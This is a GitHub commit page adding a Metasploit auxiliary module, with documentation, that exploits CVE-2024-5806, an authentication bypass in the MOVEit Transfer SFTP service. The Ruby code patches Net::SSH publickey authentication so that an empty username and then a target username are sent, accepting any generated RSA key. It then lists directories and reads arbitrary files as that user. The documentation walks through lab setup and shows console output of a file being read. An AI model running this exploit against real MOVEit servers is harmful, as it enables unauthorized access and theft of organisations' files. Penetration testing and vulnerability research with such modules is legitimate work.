-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #19295, MOVEit Transfer SFTP auth bypass
- Loading branch information
Showing
5 changed files
with
300 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
96 changes: 96 additions & 0 deletions
96
...ntation/modules/auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,96 @@ | ||
## Vulnerable Application | ||
This module exploits CVE-2024-5806, an authentication bypass vulnerability in the MOVEit Transfer SFTP service. The | ||
following version are affected: | ||
|
||
* MOVEit Transfer 2023.0.x (Fixed in 2023.0.11) | ||
* MOVEit Transfer 2023.1.x (Fixed in 2023.1.6) | ||
* MOVEit Transfer 2024.0.x (Fixed in 2024.0.2) | ||
|
||
The module can establish an authenticated SFTP session for a MOVEit Transfer user. The module allows for both listing | ||
the contents of a directory, and the reading of an arbitrary file. | ||
|
||
Read our AttackerKB [Rapid7 Analysis](https://attackerkb.com/topics/44EZLG2xgL/cve-2024-5806/rapid7-analysis) | ||
for a full technical description of both the vulnerability and exploitation. | ||
|
||
## Testing | ||
1. Installation requires a valid trial license that can be obtained by going here: | ||
https://www.ipswitch.com/forms/free-trials/moveit-transfer | ||
2. Ensure that your computer has internet access for the license to activate and double-click the installer. | ||
3. Follow installation instructions for an evaluation installation. | ||
4. After the installation completes, follow the instructions to create an sysadmin user. | ||
5. Log in as the sysadmin and create a new Organization (e.g. `TestOrg`). | ||
6. In the `Home` section, click the "Act as administrator in the TestOrg organization" button. | ||
7. In the `Users` section, create a new normal user (e.g. `testuser1`) in the new Organization. | ||
8. In the `Folders` section, navigate to the `testuser1` Home folder and create some files and folders. | ||
9. The SFTP service will be running by default. No further configuration is required. | ||
|
||
## Verification Steps | ||
|
||
1. Start msfconsole | ||
2. `use auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806` | ||
3. `set RHOST <TARGET_IP_ADDRESS>` | ||
4. `set STORE_LOOT false` | ||
5. `set TARGETUSER <TARGET_USERNAME>` (Must be a valid username on the target server, for example `testuser1`) | ||
6. `set TARGETFILE /` | ||
7. `check` | ||
8. `run` | ||
|
||
## Options | ||
|
||
### STORE_LOOT | ||
Whether the read file's contents should be stored as loot in the Metasploit database. If set to false, the files | ||
content will be displayed in the console. (default: true). | ||
|
||
### TARGETUSER | ||
A valid username to authenticate as. (default: nil). | ||
|
||
### TARGETFILE | ||
The full path of a target file or directory to read. If a directory path is specified, the output will be the | ||
directories contents. If a file path is specified, the output will be the files contents. In order to learn | ||
what files you can read, you can first read the root directories (/) contents. (default: /). | ||
|
||
## Scenarios | ||
|
||
### Default | ||
|
||
``` | ||
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > set RHOST 169.254.180.121 | ||
RHOST => 169.254.180.121 | ||
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > set STORE_LOOT false | ||
STORE_LOOT => false | ||
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > set TARGETUSER testuser1 | ||
TARGETUSER => testuser1 | ||
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > show options | ||
Module options (auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
RHOSTS 169.254.180.121 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html | ||
RPORT 22 yes The target port | ||
STORE_LOOT false no Store the target file as loot | ||
TARGETFILE / yes The full path of a target file or directory to read. | ||
TARGETUSER testuser1 yes A valid username to authenticate as. | ||
View the full module info with the info, or info -d command. | ||
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > run | ||
[*] Running module against 169.254.180.121 | ||
[*] Authenticating as: [email protected]:22 | ||
[*] Listing directory: / | ||
dr-xr-xr-x 1 0 0 0 Jun 23 16:19 /Home/ | ||
dr-xr-xr-x 1 0 0 0 Jun 18 22:50 /Home/testuser1/ | ||
dr-xr-xr-x 1 0 0 0 Jun 18 22:50 /Home/testuser1/TestFolder1/ | ||
-rw-rw-rw- 1 0 0 8 Jun 18 22:50 /Home/testuser1/test.txt | ||
[*] Auxiliary module execution completed | ||
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > run TARGETFILE=/Home/testuser1/test.txt | ||
[*] Running module against 169.254.180.121 | ||
[*] Authenticating as: [email protected]:22 | ||
[*] Downloading file: /Home/testuser1/test.txt | ||
secrets! | ||
[*] Auxiliary module execution completed | ||
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
199 changes: 199 additions & 0 deletions
199
modules/auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,199 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
require 'net/ssh/transport/session' | ||
require 'net/sftp' | ||
require 'openssl' | ||
|
||
class MetasploitModule < Msf::Auxiliary | ||
|
||
include Msf::Auxiliary::Report | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Progress MOVEit SFTP Authentication Bypass for Arbitrary File Read', | ||
'Description' => %q{ | ||
This module exploits CVE-2024-5806, an authentication bypass vulnerability in the MOVEit Transfer SFTP service. The | ||
following version are affected: | ||
* MOVEit Transfer 2023.0.x (Fixed in 2023.0.11) | ||
* MOVEit Transfer 2023.1.x (Fixed in 2023.1.6) | ||
* MOVEit Transfer 2024.0.x (Fixed in 2024.0.2) | ||
The module can establish an authenticated SFTP session for a MOVEit Transfer user. The module allows for both listing | ||
the contents of a directory, and the reading of an arbitrary file. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'sfewer-r7' # MSF Module & Rapid7 Analysis | ||
], | ||
'References' => [ | ||
['CVE', '2024-5806'], | ||
['URL', 'https://attackerkb.com/topics/44EZLG2xgL/cve-2024-5806/rapid7-analysis'] # AttackerKB Rapid7 Analysis. | ||
], | ||
'DisclosureDate' => '2024-06-25', | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'SideEffects' => [IOC_IN_LOGS], | ||
'Reliability' => [] | ||
} | ||
) | ||
) | ||
|
||
register_options( | ||
[ | ||
Opt::RHOST, | ||
Opt::RPORT(22), | ||
OptBool.new('STORE_LOOT', [false, 'Store the target file as loot', true]), | ||
OptString.new('TARGETUSER', [true, 'A valid username to authenticate as.', nil]), | ||
OptString.new('TARGETFILE', [true, 'The full path of a target file or directory to read.', '/']), | ||
Opt::Proxies | ||
] | ||
) | ||
end | ||
|
||
# This method will be used by net/ssh when creating a new TCP socket. We need this so the net/ssh library will | ||
# honor Metasploit's network pivots, and route a connection through the expected session if applicable. | ||
def open(host, port, _connection_options = nil) | ||
vprint_status("Creating Rex::Socket::Tcp to #{host}:#{port}...") | ||
Rex::Socket::Tcp.create( | ||
'PeerHost' => host, | ||
'PeerPort' => port, | ||
'Proxies' => datastore['Proxies'], | ||
'Context' => { | ||
'Msf' => framework, | ||
'MsfExploit' => self | ||
} | ||
) | ||
end | ||
|
||
def check | ||
# Our check method will establish an unauthenticated connection to the remote SFTP (which is an extension of SSH) | ||
# service and we pull out the servers version string. | ||
transport = ::Net::SSH::Transport::Session.new( | ||
datastore['RHOST'], | ||
{ | ||
port: datastore['RPORT'], | ||
# Use self as a proxy for the net/ssh library, to allow us to use Metasploit's Rex sockets, which will honor pivots. | ||
proxy: self | ||
} | ||
) | ||
|
||
ident = transport.server_version.version | ||
|
||
# We test the SSH version string for a known value of MOVEit SFTP. | ||
return Msf::Exploit::CheckCode::Safe(ident) unless ident == 'SSH-2.0-MOVEit Transfer SFTP' | ||
|
||
# We cannot get a product version number, so the best we can do is return Detected. | ||
Msf::Exploit::CheckCode::Detected(ident) | ||
rescue ::Rex::ConnectionRefused | ||
Msf::Exploit::CheckCode::Unknown('Connection Refused') | ||
rescue ::Rex::HostUnreachable | ||
Msf::Exploit::CheckCode::Unknown('Host Unreachable') | ||
rescue ::Rex::ConnectionTimeout, ::Net::SSH::ConnectionTimeout | ||
Msf::Exploit::CheckCode::Unknown('Connection Timeout') | ||
end | ||
|
||
def run | ||
# We want to change the behaviour of the build_request method. So first we alias the original build_request | ||
# method, so we can restore it later, as other things in MSF may use Net::SSH, and will expect normal behaviour. | ||
::Net::SSH::Authentication::Methods::Publickey.send(:alias_method, :orig_build_request, :build_request) | ||
|
||
# Define the new behaviour. We exploit CVE-2024-5806 by supplying an invalid username (like an empty string) upon | ||
# the initial publickey auth request, then when sending the signature response to the server, we provide the username | ||
# of the valid user account we want to authenticate as. | ||
::Net::SSH::Authentication::Methods::Publickey.send(:define_method, :build_request) do |pub_key, username, next_service, alg, has_sig| | ||
orig_build_request(pub_key, has_sig ? username : '', next_service, alg, has_sig) | ||
end | ||
|
||
print_status("Authenticating as: #{datastore['TARGETUSER']}@#{datastore['RHOST']}:#{datastore['RPORT']}") | ||
|
||
# With ::Net::SSH::Authentication::Methods::Publickey monkey patched above, we can trigger the auth bypass and get | ||
# back a valid SFTP session which we can interact with. | ||
::Net::SFTP.start( | ||
datastore['RHOST'], | ||
datastore['TARGETUSER'], | ||
{ | ||
port: datastore['RPORT'], | ||
auth_methods: ['publickey'], | ||
# The vulnerability allows us to supply any well formed RSA key and it will be accepted. So we generate a new | ||
# key (in PEM format) every time we exploit the vulnerability. | ||
key_data: [OpenSSL::PKey::RSA.new(2048).to_pem], | ||
# Use self as a proxy for the net/ssh library, to allow us to use Metasploit's Rex sockets, which will honor pivots. | ||
proxy: self | ||
} | ||
) do |sftp| | ||
if File.directory? datastore['TARGETFILE'] | ||
print_status("Listing directory: #{datastore['TARGETFILE']}") | ||
|
||
sftp.dir.glob(datastore['TARGETFILE'], '**/*') do |entry| | ||
# When we print the entry, we want to print the full path for each entry, so that further use of this module | ||
# can set the TARGETFILE correctly to the full path of a target file. The longname will contain (along with | ||
# permission, sizes and timestamps) a file/dir name but no path information. As we are using glob to | ||
# recursively list the contents of all sub folders, we reconstitute the full path for every entry before | ||
# printing it. | ||
entry_full_path = File.join(datastore['TARGETFILE'], entry.name) | ||
|
||
print_line(entry.longname.gsub(File.basename(entry.name), entry_full_path)) | ||
end | ||
else | ||
print_status("Downloading file: #{datastore['TARGETFILE']}") | ||
|
||
read_file(sftp, datastore['TARGETFILE']) | ||
end | ||
end | ||
rescue ::Net::SFTP::StatusException | ||
print_error('SFTP Status Exception.') | ||
rescue ::Net::SSH::AuthenticationFailed | ||
print_error('SFTP Authentication Failed. Is TARGETUSER a valid username?') | ||
rescue ::Rex::ConnectionRefused | ||
print_error('SFTP Connection Refused.') | ||
rescue ::Rex::HostUnreachable | ||
print_error('SFTP Host Unreachable.') | ||
rescue ::Rex::ConnectionTimeout, ::Net::SSH::ConnectionTimeout | ||
print_error('SFTP Connection Timeout.') | ||
ensure | ||
::Net::SSH::Authentication::Methods::Publickey.send(:alias_method, :build_request, :orig_build_request) | ||
end | ||
|
||
def read_file(sftp, file_path) | ||
sftp.open!(file_path) do |open_response| | ||
unless open_response.ok? | ||
print_error('SFTP open failed. Is the TARGETFILE path correct?') | ||
break | ||
end | ||
|
||
file_size = sftp.fstat!(open_response[:handle]).size | ||
|
||
sftp.read!(open_response[:handle], 0, file_size) do |read_response| | ||
unless read_response.ok? | ||
print_error('SFTP read failed.') | ||
break | ||
end | ||
|
||
file_data = read_response[:data].to_s | ||
|
||
if datastore['STORE_LOOT'] | ||
print_status('Storing the file data to loot...') | ||
|
||
store_loot( | ||
file_path, | ||
file_data.ascii_only? ? 'text/plain' : 'application/octet-stream', | ||
datastore['RHOST'], | ||
file_data, | ||
datastore['TARGETFILE'], | ||
'File read from Progress MOVEit SFTP server' | ||
) | ||
else | ||
print_line(file_data) | ||
end | ||
end | ||
ensure | ||
sftp.close!(open_response[:handle]) if open_response.ok? | ||
end | ||
end | ||
|
||
end |